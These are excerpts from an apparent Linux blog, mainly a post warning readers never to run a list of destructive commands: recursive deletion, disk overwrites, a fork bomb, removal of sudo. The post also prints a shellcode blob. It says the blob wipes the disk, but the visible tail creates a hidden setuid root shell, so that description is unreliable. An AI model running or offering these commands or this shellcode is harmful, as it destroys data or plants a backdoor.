Best of Linux Cheat Sheets

Below list of Linux cheat sheets can be used by everybody who administer Linux operating system including beginners/newbies and bearded gurus. PDF | Command Line Interface (CLI), Security, Networking Unix/Linux Command Reference by fosswire.com THE ONE PAGE LINUX MANUAL (A summary of useful Linux commands) LINUX System Call Quick Reference LINUX Admin Quick Reference Linux quick reference card Linux Shell quick reference guide Linux Security Quick Reference Guide tcpdump cheat […]

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Google Public DNS: 8.8.8.8 and 8.8.4.4

Today Google unveiled its new project: Google Public DNS. It means now anybody can use Google’s DNS managed servers for resolving domain names into IP addresses and back. According to Google it should speedup browsing as well as security. Hope I won’t see adsense ads once tried to load expired domain name (that’s how OpenDNS acts today). Here are easy-to-remember Google Public DNS IP addresses: 8.8.8.8 and 8.8.4.4.

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13 Linux lethal commands

dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as "rm -rf /":

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

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Problem with Vmware Server 1.0.* and kernel 2.4.37

While today 2.6.32 is the mainline version of Linux kernel, 2.4 branch is still supported by Linux community developers who fix security bugs there but don’t add any new functionality (unlike 2.6 that grows with new features like a snowball). Sometimes it happens that Linux box runs too much services which cannot be stopped so that admin is not allowed to migrate from 2.4 to 2.6 to keep those services […]

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GIMP to be removed from Ubuntu?

This could be an outstanding news by its significance. The next version of Ubuntu (Lucid Lynx or Ubuntu 10.04) won’t include GIMP (GNU Image Manipulation Program) by default due to its user interface that is too complex… What a #@^*? Actually complex UI is not the only decision why GIMP should be vanished from Ubuntu so here is the full list: the general user doesn’t use it its user-interface is […]

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